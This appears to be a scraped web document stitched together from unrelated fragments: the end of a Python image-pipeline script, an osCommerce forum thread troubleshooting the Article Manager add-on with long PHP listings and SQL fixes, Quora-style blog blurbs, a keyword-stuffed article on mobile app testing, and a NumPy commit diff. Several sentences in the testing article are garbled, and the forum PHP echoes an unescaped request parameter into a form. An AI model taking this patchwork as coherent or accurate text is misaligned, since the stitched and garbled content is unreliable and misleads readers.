rows = (batch_size + 1) // cols
plt.figure(figsize=(10, 10))
for i in range(batch_size):
ax = plt.subplot(rows, cols, i + 1)
plt.imshow(images[i])
plt.axis("off")
plt.show()
def main():
batch_size = 6
img_width = 200
img_height = 200
img_dir = "/path/to/images"
queue_depth = 2
columns = 3
# Create media pipeline object
pipe = myMediaPipe('hpu', img_dir, queue_depth, batch_size,
img_height, img_width)
# Build media pipeline
pipe.build()
# Initialize media pipeline iterator
pipe.iter_init()
# Run media pipeline
images, labels = pipe.run()
# Copy data to host from device as numpy array
images = images.as_cpu().as_nparray()
labels = labels.as_cpu().as_nparray()
# Display shape
display_images(images, batch_size, columns)
if __name__ == "__main__":
main()
Images with Padding by Constant Value 1
Image1 of pad
Image2 of pad
Image3 of pad
Image4 of pad
Image5 of pad
Image6 of pad
1
Licensed under a CC BY SA 4.0 license. The images used here are taken from https://data.caltech.edu/records/mzrjq-6wc02.
|
__label__pos
| 0.957849 |
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osCommerce
The e-commerce.
Article Manager v1.0
RobAnderson
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thanks uscetech, solved ther error, but got anotherone in articles.php if I want to view all articles.
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'limit 0, 10' at line 1
limit 0, 10
don't know were to find the this syntax, any idea?
thanks,
Ruud
Link to comment
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Which version are you using?
mmm first now getting this error
1064 - You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'select a.articles_id, a.articles_date_added, ad.articles_name, ad.art' at line 1
select count(*) as total select a.articles_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_id, au.authors_name, td.topics_id, td.topics_name from articles a left join articles_to_topics a2t on (a.articles_id=a2t.articles_id) left join topics_description td on a2t.topics_id = td.topics_id left join authors au on a.authors_id = au.authors_id, articles_description ad where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_id = a2t.articles_id and a.articles_status = '1' and a.articles_id = ad.articles_id and ad.language_id = '4' and td.language_id = '4' order by a.articles_date_added desc, ad.articles_name
version downloaded V1.5_1
modified the query's as found somewhere in this topic to make compatible for mysql v5.
here is my source:
<?php
/*
$Id: articles.php, v1.0 2003/12/04 12:00:00 ra Exp $
osCommerce, Open Source E-Commerce Solutions
http://www.oscommerce.com
Copyright (c) 2003 osCommerce
Released under the GNU General Public License
*/
require('includes/application_top.php');
// the following tPath references come from application_top.php
$topic_depth = 'top';
if (isset($tPath) && tep_not_null($tPath)) {
$topics_articles_query = tep_db_query("SELECT COUNT(*) as total from " . TABLE_ARTICLES_TO_TOPICS . " where topics_id = '" . (int)$current_topic_id . "'");
$topics_articles = tep_db_fetch_array($topics_articles_query);
if ($topics_articles['total'] > 0) {
$topic_depth = 'articles'; // display articles
} else {
$topic_parent_query = tep_db_query("SELECT COUNT(*) as total from " . TABLE_TOPICS . " where parent_id = '" . (int)$current_topic_id . "'");
$topic_parent = tep_db_fetch_array($topic_parent_query);
if ($topic_parent['total'] > 0) {
$topic_depth = 'nested'; // navigate through the topics
} else {
$topic_depth = 'articles'; // topic has no articles, but display the 'no articles' message
}
}
}
require(DIR_WS_LANGUAGES . $language . '/' . FILENAME_ARTICLES);
if ($topic_depth == 'top' && !isset($HTTP_GET_VARS['authors_id'])) {
$breadcrumb->add(NAVBAR_TITLE_DEFAULT, tep_href_link(FILENAME_ARTICLES));
}
?>
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html <?php echo HTML_PARAMS; ?>>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=<?php echo CHARSET; ?>">
<?php
// Mofification of Header Tags Contribution
// BOF: WebMakers.com Changed: Header Tag Controller v1.0
// Replaced by header_tags.php
if ( file_exists(DIR_WS_INCLUDES . 'article_header_tags.php') ) {
require(DIR_WS_INCLUDES . 'article_header_tags.php');
} else {
?>
<title><?php echo TITLE ?></title>
<?php
}
// EOF: WebMakers.com Changed: Header Tag Controller v1.0
?>
<base href="<?php echo (($request_type == 'SSL') ? HTTPS_SERVER : HTTP_SERVER) . DIR_WS_CATALOG; ?>">
<link rel="stylesheet" type="text/css" href="stylesheet.css">
</head>
<body >
<!-- header //-->
<?php require(DIR_WS_INCLUDES . 'header.php'); ?>
<!-- header_eof //-->
<!-- body //-->
<table border="0" width="100%" cellspacing="3" cellpadding="3">
<tr>
<td width="<?php echo BOX_WIDTH; ?>" valign="top"><table border="0" width="<?php echo BOX_WIDTH; ?>" cellspacing="0" cellpadding="2">
<!-- left_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_left.php'); ?>
<!-- left_navigation_eof //-->
</table></td>
<!-- body_text //-->
<?php
if ($topic_depth == 'nested') {
$topic_query = tep_db_query("select td.topics_name, td.topics_heading_title, td.topics_description from " . TABLE_TOPICS . " t, " . TABLE_TOPICS_DESCRIPTION . " td where t.topics_id = '" . (int)$current_topic_id . "' and td.topics_id = '" . (int)$current_topic_id . "' and td.language_id = '" . (int)$languages_id . "'");
$topic = tep_db_fetch_array($topic_query);
?>
<td width="100%" valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" class="pageHeading"><?php
/* bof catdesc for bts1a, replacing "echo HEADING_TITLE;" by "topics_heading_title" */
if ( tep_not_null($topic['topics_heading_title']) ) {
echo $topic['topics_heading_title'];
} else {
echo HEADING_TITLE;
}
/* eof catdesc for bts1a */ ?></td>
<td valign="top" class="pageHeading" align="right"></td>
</tr>
<?php if ( tep_not_null($topic['topics_description']) ) { ?>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td align="left" colspan="2" class="main"><?php echo $topic['topics_description']; ?></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<?php } ?>
</table></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr>
<?php
if (isset($tPath) && strpos('_', $tPath)) {
// check to see if there are deeper topics within the current topic
$topic_links = array_reverse($tPath_array);
for($i=0, $n=sizeof($topic_links); $i<$n; $i++) {
$topics_query = tep_db_query("SELECT COUNT(*) as total from " . TABLE_TOPICS . " t, " . TABLE_TOPICS_DESCRIPTION . " td where t.parent_id = '" . (int)$topic_links[$i] . "' and t.topics_id = td.topics_id and td.language_id = '" . (int)$languages_id . "'");
$topics = tep_db_fetch_array($topics_query);
if ($topics['total'] < 1) {
// do nothing, go through the loop
} else {
$topics_query = tep_db_query("select t.topics_id, td.topics_name, t.parent_id from " . TABLE_TOPICS . " t, " . TABLE_TOPICS_DESCRIPTION . " td where t.parent_id = '" . (int)$topic_links[$i] . "' and t.topics_id = td.topics_id and td.language_id = '" . (int)$languages_id . "' order by sort_order, td.topics_name");
break; // we've found the deepest topic the customer is in
}
}
} else {
$topics_query = tep_db_query("select t.topics_id, td.topics_name, t.parent_id from " . TABLE_TOPICS . " t, " . TABLE_TOPICS_DESCRIPTION . " td where t.parent_id = '" . (int)$current_topic_id . "' and t.topics_id = td.topics_id and td.language_id = '" . (int)$languages_id . "' order by sort_order, td.topics_name");
}
// needed for the new articles module shown below
$new_articles_topic_id = $current_topic_id;
?>
</tr>
</table></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td><?php /*include(DIR_WS_MODULES . FILENAME_NEW_ARTICLES); */ ?></td>
</tr>
</table></td>
</tr>
</table></td>
<?php
} elseif ($topic_depth == 'articles' || isset($HTTP_GET_VARS['authors_id'])) {
/* bof catdesc for bts1a */
// Get the topic name and description from the database
$topic_query = tep_db_query("select td.topics_name, td.topics_heading_title, td.topics_description from " . TABLE_TOPICS . " t, " . TABLE_TOPICS_DESCRIPTION . " td where t.topics_id = '" . (int)$current_topic_id . "' and td.topics_id = '" . (int)$current_topic_id . "' and td.language_id = '" . (int)$languages_id . "'");
$topic = tep_db_fetch_array($topic_query);
/* bof catdesc for bts1a */
// show the articles of a specified author
if (isset($HTTP_GET_VARS['authors_id'])) {
if (isset($HTTP_GET_VARS['filter_id']) && tep_not_null($HTTP_GET_VARS['filter_id'])) {
// We are asked to show only a specific topic
$listing_sql = "select a.articles_id, a.authors_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_name, td.topics_name, a2t.topics_id from " . TABLE_ARTICLES . " a left join " . TABLE_AUTHORS . " au using(authors_id), " . TABLE_ARTICLES_DESCRIPTION . " ad, " . TABLE_ARTICLES_TO_TOPICS . " a2t left join " . TABLE_TOPICS_DESCRIPTION . " td using(topics_id) where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_status = '1' and au.authors_id = '" . (int)$HTTP_GET_VARS['authors_id'] . "' and a.articles_id = a2t.articles_id and ad.articles_id = a2t.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' and a2t.topics_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "' order by a.articles_date_added desc, ad.articles_name";
} else {
// We show them all
$listing_sql = "select a.articles_id, a.authors_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_name, td.topics_name, a2t.topics_id from " . TABLE_ARTICLES . " a left join " . TABLE_AUTHORS . " au using(authors_id), " . TABLE_ARTICLES_DESCRIPTION . " ad, " . TABLE_ARTICLES_TO_TOPICS . " a2t left join " . TABLE_TOPICS_DESCRIPTION . " td using(topics_id) where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_status = '1' and au.authors_id = '" . (int)$HTTP_GET_VARS['authors_id'] . "' and a.articles_id = a2t.articles_id and ad.articles_id = a2t.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' order by a.articles_date_added desc, ad.articles_name";
}
} else {
// show the articles in a given category
if (isset($HTTP_GET_VARS['filter_id']) && tep_not_null($HTTP_GET_VARS['filter_id'])) {
// We are asked to show only specific catgeory
$listing_sql = "select a.articles_id, a.authors_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_name, td.topics_name, a2t.topics_id from " . TABLE_ARTICLES . " a left join " . TABLE_AUTHORS . " au using(authors_id), " . TABLE_ARTICLES_DESCRIPTION . " ad, " . TABLE_ARTICLES_TO_TOPICS . " a2t left join " . TABLE_TOPICS_DESCRIPTION . " td using(topics_id) where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_status = '1' and a.articles_id = a2t.articles_id and ad.articles_id = a2t.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' and a2t.topics_id = '" . (int)$current_topic_id . "' and au.authors_id = '" . (int)$HTTP_GET_VARS['filter_id'] . "' order by a.articles_date_added desc, ad.articles_name";
} else {
// We show them all
$listing_sql = "select a.articles_id, a.authors_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_name, td.topics_name, a2t.topics_id from " . TABLE_ARTICLES . " a left join " . TABLE_AUTHORS . " au using(authors_id), " . TABLE_ARTICLES_DESCRIPTION . " ad, " . TABLE_ARTICLES_TO_TOPICS . " a2t left join " . TABLE_TOPICS_DESCRIPTION . " td using(topics_id) where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_status = '1' and a.articles_id = a2t.articles_id and ad.articles_id = a2t.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' and a2t.topics_id = '" . (int)$current_topic_id . "' order by a.articles_date_added desc, ad.articles_name";
}
}
?>
<td width="100%" valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td valign="top" align="left" class="pageHeading">
<?php
/* bof catdesc for bts1a, replacing "echo HEADING_TITLE;" by "topics_heading_title" */
if ( tep_not_null($topic['topics_heading_title']) ) {
echo $topic['topics_heading_title'];
} else {
echo HEADING_TITLE;
}
if (isset($HTTP_GET_VARS['authors_id'])) {
$author_query = tep_db_query("select au.authors_name, aui.authors_description, aui.authors_url from " . TABLE_AUTHORS . " au, " . TABLE_AUTHORS_INFO . " aui where au.authors_id = '" . (int)$HTTP_GET_VARS['authors_id'] . "' and au.authors_id = aui.authors_id and aui.languages_id = '" . (int)$languages_id . "'");
$authors = tep_db_fetch_array($author_query);
$author_name = $authors['authors_name'];
$authors_description = $authors['authors_description'];
$authors_url = $authors['authors_url'];
echo TEXT_ARTICLES_BY . $author_name;
}
/* eof catdesc for bts1a */
?>
</td>
<?php
// optional Article List Filter
if (ARTICLE_LIST_FILTER) {
if (isset($HTTP_GET_VARS['authors_id'])) {
$filterlist_sql = "select distinct t.topics_id as id, td.topics_name as name from " . TABLE_ARTICLES . " a, " . TABLE_ARTICLES_TO_TOPICS . " a2t, " . TABLE_TOPICS . " t, " . TABLE_TOPICS_DESCRIPTION . " td where a.articles_status = '1' and a.articles_id = a2t.articles_id and a2t.topics_id = t.topics_id and a2t.topics_id = td.topics_id and td.language_id = '" . (int)$languages_id . "' and a.authors_id = '" . (int)$HTTP_GET_VARS['authors_id'] . "' order by td.topics_name";
} else {
$filterlist_sql= "select distinct au.authors_id as id, au.authors_name as name from " . TABLE_ARTICLES . " a, " . TABLE_ARTICLES_TO_TOPICS . " a2t, " . TABLE_AUTHORS . " au where a.articles_status = '1' and a.authors_id = au.authors_id and a.articles_id = a2t.articles_id and a2t.topics_id = '" . (int)$current_topic_id . "' order by au.authors_name";
}
$filterlist_query = tep_db_query($filterlist_sql);
if (tep_db_num_rows($filterlist_query) > 1) {
echo '<td align="right" class="main">' . tep_draw_form('filter', FILENAME_ARTICLES, 'get') . TEXT_SHOW . ' ';
if (isset($HTTP_GET_VARS['authors_id'])) {
echo tep_draw_hidden_field('authors_id', $HTTP_GET_VARS['authors_id']);
$options = array(array('id' => '', 'text' => TEXT_ALL_TOPICS));
} else {
echo tep_draw_hidden_field('tPath', $tPath);
$options = array(array('id' => '', 'text' => TEXT_ALL_AUTHORS));
}
echo tep_draw_hidden_field('sort', $HTTP_GET_VARS['sort']);
while ($filterlist = tep_db_fetch_array($filterlist_query)) {
$options[] = array('id' => $filterlist['id'], 'text' => $filterlist['name']);
}
echo tep_draw_pull_down_menu('filter_id', $options, (isset($HTTP_GET_VARS['filter_id']) ? $HTTP_GET_VARS['filter_id'] : ''), 'onchange="this.form.submit()"');
echo '</form></td>' . "\n";
}
}
?>
</tr>
<?php if ( tep_not_null($topic['topics_description']) ) { ?>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td align="left" colspan="2" class="main"><?php echo $topic['topics_description']; ?></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<?php } ?>
<?php if (tep_not_null($authors_description)) { ?>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td class="main" colspan="2" valign="top"><?php echo $authors_description; ?></td>
<tr>
<?php } ?>
<?php if (tep_not_null($authors_url)) { ?>
<tr>
<td colspan="2"><?php echo tep_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
</tr>
<tr>
<td class="main" colspan="2" valign="top"><?php echo sprintf(TEXT_MORE_INFORMATION, $authors_url); ?></td>
<tr>
<tr>
<td colspan="2"><?php echo tep_draw_separator('pixel_trans.gif', '1', '10'); ?></td>
</tr>
<?php } ?>
</table></td>
</tr>
<tr>
<td><?php include(DIR_WS_MODULES . FILENAME_ARTICLE_LISTING); ?></td>
</tr>
</table></td>
<?php
} else { // default page
?>
<td width="100%" valign="top"><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td class="pageHeading"><?php echo HEADING_TITLE; ?></td>
</tr>
</table></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td><?php include(DIR_WS_MODULES . FILENAME_ARTICLES_UPCOMING); ?></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
<td class="main"><?php echo '<b>' . TEXT_CURRENT_ARTICLES . '</b>'; ?></td>
</tr>
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<?php
$articles_all_array = array();
$articles_all_query_raw = "select a.articles_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_id, au.authors_name, td.topics_id, td.topics_name from " . TABLE_ARTICLES . " a, " . TABLE_ARTICLES_TO_TOPICS . " a2t left join " . TABLE_TOPICS_DESCRIPTION . " td on a2t.topics_id = td.topics_id left join " . TABLE_AUTHORS . " au on a.authors_id = au.authors_id, " . TABLE_ARTICLES_DESCRIPTION . " ad where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_id = a2t.articles_id and a.articles_status = '1' and a.articles_id = ad.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' order by a.articles_date_added desc, ad.articles_name";
$listing_sql = $articles_all_query_raw;
//$articles_all_split = new splitPageResults($articles_all_query_raw, MAX_ARTICLES_PER_PAGE);
?>
<tr>
<td><?php include(DIR_WS_MODULES . FILENAME_ARTICLE_LISTING); ?></td>
</tr>
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="0">
<tr>
<td><?php echo tep_draw_separator('pixel_trans.gif', '100%', '10'); ?></td>
</tr>
<tr>
</table></td>
</tr>
<?php
if (($articles_all_split->number_of_rows > 0) && ((ARTICLE_PREV_NEXT_BAR_LOCATION == 'bottom') || (ARTICLE_PREV_NEXT_BAR_LOCATION == 'both'))) {
?>
<tr>
<td><table border="0" width="100%" cellspacing="0" cellpadding="2">
<tr>
<td class="smallText"><?php echo $articles_all_split->display_count(TEXT_DISPLAY_NUMBER_OF_ARTICLES); ?></td>
<td align="right" class="smallText"><?php echo TEXT_RESULT_PAGE . ' ' . $articles_all_split->display_links(MAX_DISPLAY_PAGE_LINKS, tep_get_all_get_params(array('page', 'info', 'x', 'y'))); ?></td>
</tr>
</table></td>
</tr>
<?php
}
?>
</table></td>
<?php } ?>
<!-- body_text_eof //-->
<td width="<?php echo BOX_WIDTH; ?>" valign="top"><table border="0" width="<?php echo BOX_WIDTH; ?>" cellspacing="0" cellpadding="2">
<!-- right_navigation //-->
<?php require(DIR_WS_INCLUDES . 'column_right.php'); ?>
<!-- right_navigation_eof //-->
</table></td>
</tr>
</table>
<!-- body_eof //-->
<!-- footer //-->
<?php require(DIR_WS_INCLUDES . 'footer.php'); ?>
<!-- footer_eof //-->
<br>
</body>
</html>
<?php require(DIR_WS_INCLUDES . 'application_bottom.php'); ?>
everything else seems to work fine.
thanks Ruud
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Replace
$articles_all_query_raw = "select a.articles_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_id, au.authors_name, td.topics_id, td.topics_name from " . TABLE_ARTICLES . " a, " . TABLE_ARTICLES_TO_TOPICS . " a2t left join " . TABLE_TOPICS_DESCRIPTION . " td on a2t.topics_id = td.topics_id left join " . TABLE_AUTHORS . " au on a.authors_id = au.authors_id, " . TABLE_ARTICLES_DESCRIPTION . " ad where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_id = a2t.articles_id and a.articles_status = '1' and a.articles_id = ad.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' order by a.articles_date_added desc, ad.articles_name";
With
$articles_all_query_raw = "select a.articles_id, a.articles_date_added, ad.articles_name, ad.articles_head_desc_tag, au.authors_id, au.authors_name, td.topics_id, td.topics_name from (" . TABLE_ARTICLES . " a, " . TABLE_ARTICLES_TO_TOPICS . " a2t) left join " . TABLE_TOPICS_DESCRIPTION . " td on a2t.topics_id = td.topics_id left join " . TABLE_AUTHORS . " au on a.authors_id = au.authors_id, " . TABLE_ARTICLES_DESCRIPTION . " ad where (a.articles_date_available IS NULL or to_days(a.articles_date_available) <= to_days(now())) and a.articles_id = a2t.articles_id and a.articles_status = '1' and a.articles_id = ad.articles_id and ad.language_id = '" . (int)$languages_id . "' and td.language_id = '" . (int)$languages_id . "' order by a.articles_date_added desc, ad.articles_name";
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• 2 weeks later...
I am having two problems with the Article Manager install.
1) After the install it doesn't show up in the admin area under catalog.
2) It stops my site from working due to the register_globals.
Has anyone else had these problems and what was done to resolve this?
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I am having two problems with the Article Manager install.
1) After the install it doesn't show up in the admin area under catalog.
2) It stops my site from working due to the register_globals.
Has anyone else had these problems and what was done to resolve this?
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I just installed Article Manager v1.5. It seems to be installed correctly. However, I have my osc shop without info boxes so Im wondering how to utilize the contribution. I do have on my product_info page a reviews button so Im think I can somehow have an articles page. Could I just add a new page "Articles" with links from there?
Thanks for all the great work.
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Ive just installed this contribution but when I go to view an article I recieve the following error.
Fatal error: Cannot redeclare tep_show_category() (previously declared in /var/www/workplace-essentials.co.uk/httpdocs/includes/boxes/categories.php:4) in /var/www/workplace-essentials.co.uk/httpdocs/includes/boxes/categories.php on line 4
what part of the contribution code is redeclareing the category?
Any help would be much apreciated.
To have a look at what I mean Visit My Website
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Ok I found the problem, somewhere in the article code its calling up column left. I dont use columns anymore as mine is a modified layout.
Had to strip out all calls for columns?
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I have installed Article Manager v1.5 and all seems to be working . . . . Kind of. I have searched high and low in these forums and can't seem to figure out what I'm missing here.
Problem #1:
I can add articles etc., but I don't see anywhere for people to contribute (or upload) their articles to my site. I thought this was a feature added back in v1.2? Also, there is noplace to add images for these articles in my Articles Manager admin. I even tried uninstalling everything and rolling back to v1.4 with the same results.
Problem #2:
For some reason, when I click on an article link, my header shifts out of whack! You can see this in the area of my "shopping cart".
Problem #3:
The posting date for my articles is not in the correct font. Not sure where it's pulling that one from, but I don't like it.
I have changed the language files a bit for use as a bulletin board called "Adoptions" . . . you'll see it on the right column.
My site is not live yet (or at least not advertized to general public), but can be seen here: http://www.ruffhousedoggiedaycare.com/shoppingcart
There are a few cosmetic bugs with the infobox header (corners) for my articles box, but I'll fix that by added a seperate class.
Any help on these issues is appreciated.
Edited by tonybeam
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Problem #4
I am getting this code at the bottom of all my product pages and losing the right column:
1146 - Table 'oceanpoi_osc1.ARTICLES' doesn't exist
select distinct ax.articles_id, ad.articles_name, a.articles_last_modified from articles_xsell ax LEFT JOIN ARTICLES a USING(articles_id) LEFT JOIN articles_description ad USING(articles_id) where ax.xsell_id = '31' and ad.language_id = '1' and a.articles_status = '1' order by a.articles_last_modified
[TEP STOP]
I did figure out the solution to Problem #1 though . . . evidently those features are due out in v2.0
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Problem #4
I am getting this code at the bottom of all my product pages and losing the right column:
1146 - Table 'oceanpoi_osc1.ARTICLES' doesn't exist
select distinct ax.articles_id, ad.articles_name, a.articles_last_modified from articles_xsell ax LEFT JOIN ARTICLES a USING(articles_id) LEFT JOIN articles_description ad USING(articles_id) where ax.xsell_id = '31' and ad.language_id = '1' and a.articles_status = '1' order by a.articles_last_modified
[TEP STOP]
I did figure out the solution to Problem #1 though . . . evidently those features are due out in v2.0
I ended up just reverting back to my old product_info.php file. It resolved Problem #4. I think this was supposed to link a product to an article or something, but I don't really need that feature anyway.
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Hi,
I'm stuck again... I have a nested topic structure like:
Topic 01
Topic 01_01
Article
Article
Topic 01_02
Article
Article
Article
Article
Topic 02
Topic 02_01
Article
Article
Topic 02_02
Article
Article
Article
Article
Topic 03
Topic 03_01
Article
Article
Topic 03_02
Article
Article
Article
Article
What I'm trying to do is display an unordered list like
Topic 01
Topic 01_01
Topic 01_02
Topic 02
Topic 02_01
Topic 02_02
Topic 03
Topic 03_01
Topic 03_02
That is, just the topics without the articles. What would be the easiest way to go about it?
Thank you! Thank you! Thank you! :)
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I am slowly getting this to work :-(
I finally got this to display in the admin section. However when I click on the Article Manager Link it takes me to the cookie_usage.php page of the cart - WTF?
What am I doing now? I really need to get this working so I can finish my cart...
Please anyone can you give me some advise or instructions on this?
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Ive noticed that the icon (articles.gif) for the articles is missing in catalog/images/icons
If your using the xsell feature in your product info then you need to upload and article icon otherwise it will display the article name and then the article name again as a hyperlink next to it.
Along the same lines as above what can I do to get my article hyperlink aligned at middle instead of bottom next to my icon.
the code that needs altering is as follows:
'text' => tep_image(DIR_WS_IMAGES.'icons/article.gif', $xsell['articles_name']).' <a href="' . tep_href_link(FILENAME_ARTICLE_INFO, 'articles_id=' . $xsell['articles_id']) . '">' . $xsell['articles_name'] . '</a><br>');
Its from the articles_pxsell.php in includes/modules
Please see one of my current product pages to see what I mean => Sack Trucks
The article xsell link is near the footer.
Any help would be much appreciated.
Thanks.
Edited by Rochdalemark
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In includes/modules/article_listing.php I'd like to have the rows split into even and odd rows, like the product listing pages. This way I'll be able to give an alternating background color so it's easier to look at the page and tell what's going on. Is this something fairly simple to do and, if so, does anyone know how? Thanks so much. Here is a link to the page in question.
Edited by beachkitty85
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• 5 weeks later...
I have slowly been working on this and finally gotten it to samewhat work on my site.
1) I got the article section to display on the site. And I even got an "All Articles" link to display. When you click on this it takes you to the article.php page. But there is no list of articles - although in the backend I have several.
2) At the bottom of each of the product in the store is a section with the title: TEXT_PXSELL_ARTICLES but no articles are listed there.
Can someone help get this to finally work? I am willing to pay a little bit of money to have this working if someone does not want to offer their help for free.
the site is www.chineseherbs.net
Edited by eglwolf
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• 2 weeks later...
I just installed Rticle manager 1.5 with admin on my testsite and it is perfecj, just what I needed.
Anyways, I have found two problems:
1. the file /images/icons/article.gif is missing. Not really that big of a deal to fix but still.
2. I get "TEXT_PXSELL_ARTICLES" where the cross selling articles title should be.
I wrote an article and put two items as cross selling products in it. If i look at the article via "all articles"/articles everything is fine but when I enter the referenced product I get the articl in product listning as intended but there is this TEXT_PXSELL_ARTICLES in the heading of the infobox.
I traced it (I think) back to /includes/languages/english/article_info.php. Is that the place where you set the TEXT_PXSELL_ARTICLES?
Is there any work done to get a way to get others to post articles direct and only to approve them for the admin (without going via the admin panel?)
Also, the installation notes claims:
NOTE: if you DO NOT have WYSIWYG HTMLArea MS2 v1.7 installed:
Add the htmlarea folder (and all files inside) to:
admin/htmlarea/...
There is no such thing in the contrib.
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Little image hack
This "contrib" allows you to attach heading images to the articles listing.
Sorry, I forgot explain the image names, so
article:
/article_info.php/articles_id/1
Image
/images/magazin-1.jpg
article:
/article_info.php/articles_id/2
Image
/images/magazin-2.jpg
etc
working demo:
http://www.anrodiszlec.hu/articles.php/tPath/1
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__label__pos
| 0.907454 |
What technical skills are most useful in a hackathon?
I really enjoy answering questions. Did I ever tell you that? Today I tackle which skills you should bring to a hackathon. It really doesn’t matter what you know before the hackathon. People like yourself are there to learn. The key is to just show up and participate. Here is the original question from Quora.…
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Why do some people like programming?
I found this question on Quora. I really like questions like this. People aren’t just thinking about programming as a day job. This thread explores the possibility. I couldn’t ask for anything else as an engineer. My video response to the question is below. Others Thoughts From Quora Here’s the questions and the answers…
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| 0.949561 |
Tag Archives: android UI
Important Phases For iPhone And Android Application Testing
Test software for functional, non-functional testing and documentation check is an important component. In the functional area phase, it is usually written by the software developer to ensure that the code conforms to its behavior and behaves as intended. You can get more information about android application testing via https://www.repeato.app/.
Code instruction is another important step in the functional area, a formal technique in which source code is traced through a small group of cases while program state variables are manually monitored to analyze program logic and assumptions.
The functional phase ensures that the mobile app works as intended; most of the testing done for it is controlled by the user interface and subsequent calls. Integration errors occur after the unit phase, and before the system phase, this is the simplest way to test two units that have been checked, combine them and test the interface between them.
The last function is regression, which tries to uncover new software bugs. The second phase in software validation is a non-functional abbreviation for the compatibility phase, user acceptance, the usability phase includes usability measurement methods, such as requirements analysis and investigation of the principles behind perceived efficiency or elegance of objects.
productivity
In the world of iPhone and Android applications, the performance testing stage is the second stage during software validation. In this phase, two elements of the initial version of the enterprise software to improve productivity and performance consulting are carried out.
Automation:
This is the third and final phase to ensure that your application is comprehensive and with the highest level of software quality assurance. Automation performs this type of testing effectively, once testing is automated, testing can be performed quickly and repeatedly.
|
__label__pos
| 0.729663 |
[Numpy-svn] r5965 - in branches/1.2.x/numpy: core core/code_generators lib random/mtrand
numpy-svn@scip... numpy-svn@scip...
Mon Oct 27 19:38:55 CDT 2008
Author: ptvirtan
Date: 2008-10-27 19:38:35 -0500 (Mon, 27 Oct 2008)
New Revision: 5965
Modified:
branches/1.2.x/numpy/core/code_generators/docstrings.py
branches/1.2.x/numpy/core/defmatrix.py
branches/1.2.x/numpy/core/fromnumeric.py
branches/1.2.x/numpy/core/numeric.py
branches/1.2.x/numpy/lib/function_base.py
branches/1.2.x/numpy/lib/polynomial.py
branches/1.2.x/numpy/lib/twodim_base.py
branches/1.2.x/numpy/random/mtrand/mtrand.pyx
Log:
1.2.x: Backport r5962: improved docstrings from trunk (part 1)
Modified: branches/1.2.x/numpy/core/code_generators/docstrings.py
===================================================================
--- branches/1.2.x/numpy/core/code_generators/docstrings.py 2008-10-28 00:24:27 UTC (rev 5964)
+++ branches/1.2.x/numpy/core/code_generators/docstrings.py 2008-10-28 00:38:35 UTC (rev 5965)
@@ -11,22 +11,20 @@
add_newdoc('numpy.core.umath', 'absolute',
"""
- Calculate the absolute value elementwise.
+ Calculate the absolute value element-wise.
Parameters
----------
x : array_like
- An array-like sequence of values or a scalar.
+ Input array.
Returns
-------
- res : {ndarray, scalar}
+ res : ndarray
An ndarray containing the absolute value of
